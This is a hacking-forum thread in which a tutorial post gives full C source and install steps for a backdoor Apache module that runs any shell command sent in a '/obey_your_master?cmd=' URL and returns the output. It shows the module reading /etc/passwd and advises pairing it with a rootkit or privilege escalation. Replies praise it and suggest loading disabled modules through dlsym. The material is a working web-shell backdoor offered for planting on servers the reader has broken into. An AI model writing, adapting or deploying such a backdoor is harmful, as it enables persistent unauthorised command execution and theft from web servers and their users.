Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Tutorial Backdooring Apache HTTP server filter_list
Author
Message
Backdooring Apache HTTP server #1
[Introduction]
A few days ago I posted a tutorial about Backdooring OpenSSH-server in witch we downloaded the source code of OpenSSH and edited the source code so that it would always accept the password "master_of_puppets", we backdoored software that is meant for managing servers, now I want to open your mind and show that you can also backdoor software that wasn't necessarily meant for server management and show you another way of backdooring software - writing modules.
[What is Apache HTTP server?]
Apache HTTP server is open-source software used to host web pages.
[Why Apache?]
According to netcraft, Apache has the largest "Market share of active sites" that means it's commonly used so if you gain access to a server that hosts websites it will most likely use apache.
[Image: 6fGKsik.png]
[What exactly are we going to do?]
  • Download apache's development headers
  • Create our own module that will take requests like "/obey_your_master?cmd=<some command here>" and print out the output of our commands
  • Install the module
[The process]
  • {Installing apache's development headers}
    Since I'm on Debian I'll be using the aptitude package manager
    Code:
    apt-get install apache2-dev
  • {Writing the module}
    Let's create a separate directory for our project and start writing code in our favourite text editor (I'll use nano)
    Code:
    mkdir bd_module cd bd_module nano bd_module.c
    So the first thing we need to do is include apache's headers:
    Code:
    #include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h"
    Now's the fun part, let's write the handler for our module, this is the function that will handle our request.
    In our handler we'll check if we should handle the request, get the cmd variable from the URL, if cmd is not specified we'll set it to the command "uname -a" that gives us a bunch of information about the OS, than execute the command and print the output as a response.
    Code:
    static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; }
    Now let's register our hook and declare
    Code:
    static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } module AP_MODULE_DECLARE_DATA bd_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ };
    And let's put it all together:
    Spoiler:
    Code:
    #include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h" /* ============================================================================== Our module handler: ============================================================================== */ static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } /* ============================================================================== The hook registration function: ============================================================================== */ static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } /* ============================================================================== Our module name tag: ============================================================================== */ module AP_MODULE_DECLARE_DATA example_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ };

  • {Compiling our module}
    Code:
    apxs -c bd_module.c
  • {Installing our module}
    On a system that has apache's development headers installed you can install modules using "apxs (-i installs the module) (-a enables it) module_name"
    Code:
    apxs -i -a bd_module.la
    But face it: installing apache's development headers for all the systems you own is just stupid, lets do the install the manual way!
    First we have to copy our module to the modules directory:
    Code:
    cp .libs/bd_module.so /usr/lib/apache2/modules/
    Now we have to add "LoadModule" and "<Location>" directives to apache's configuration file
    So let's open the config file
    Code:
    nano /etc/apache2/apache2.conf
    And add these lines:
    Code:
    LoadModule bd_module /usr/lib/apache2/modules/bd_module.so <Location "/obey_your_master"> SetHandler obey_your_master-handler </Location>
    And the final step is to restart apache:
    Code:
    systemctl restart apache2
  • {Testing our module}
    Fire up your browser and navigate to "some_sites_address/obey_your_master"
    And it works!
    [Image: djN99Rt.png]
    Okay so seeing the "uname -a" output is cool and all but lets read the /etc/passwd file like all the 1337 h4x0rs do
    [Image: UYCKQGR.png]
    And we are done here!

[Final notes]
Congratulations on making trough!
I commented the code and left the comments from the example I totally ripped off from apache's documentation(link is with the sources), but if you still don't understand something please reply to this thread and ask :)
This backdoor executes commands as the user that is configured to run apache so this backdoor should be used with a rootkit or some other method of privilege escalation:
[Image: hBLOPuL.png]
Thanks for reading my tutorial! <3

[Sources]
https://news.netcraft.com/archives/2017/...urvey.html
http://www.cs.uleth.ca/~holzmann/C/syste...mands.html
https://httpd.apache.org/docs/2.4/develo...guide.html
https://httpd.apache.org/docs/2.4/programs/apxs.html

[+] 2 users Like Pikami's post
Reply

RE: Backdooring Apache HTTP server #2
Another amazing read from @Pikami! My 2 cents: you can use your module to load disabled modules on the system with dlsym, potentially useful if say they have a phpmyadmin module that they disabled.

Reply

RE: Backdooring Apache HTTP server #3
(02-01-2018, 07:36 PM)phyrrus9 Wrote: Another amazing read from @Pikami! My 2 cents: you can use your module to load disabled modules on the system with dlsym, potentially useful if say they have a phpmyadmin module that they disabled.

Cool idea, thanks Wink

Reply

RE: Backdooring Apache HTTP server #4
Well done thank you for this amazing tutorial. I would really try this out on my localhost.
Die  But Don't Lie
“Oh Abu Dharr! Don’t look at the smallness of the sin but look at the one you disobeyed.” Prophet Muhammad (pbuh)
[Image: p_237m2jx1.png]
Click for Free VPN

Reply

RE: Backdooring Apache HTTP server #5
it does not work with httpd service.

Reply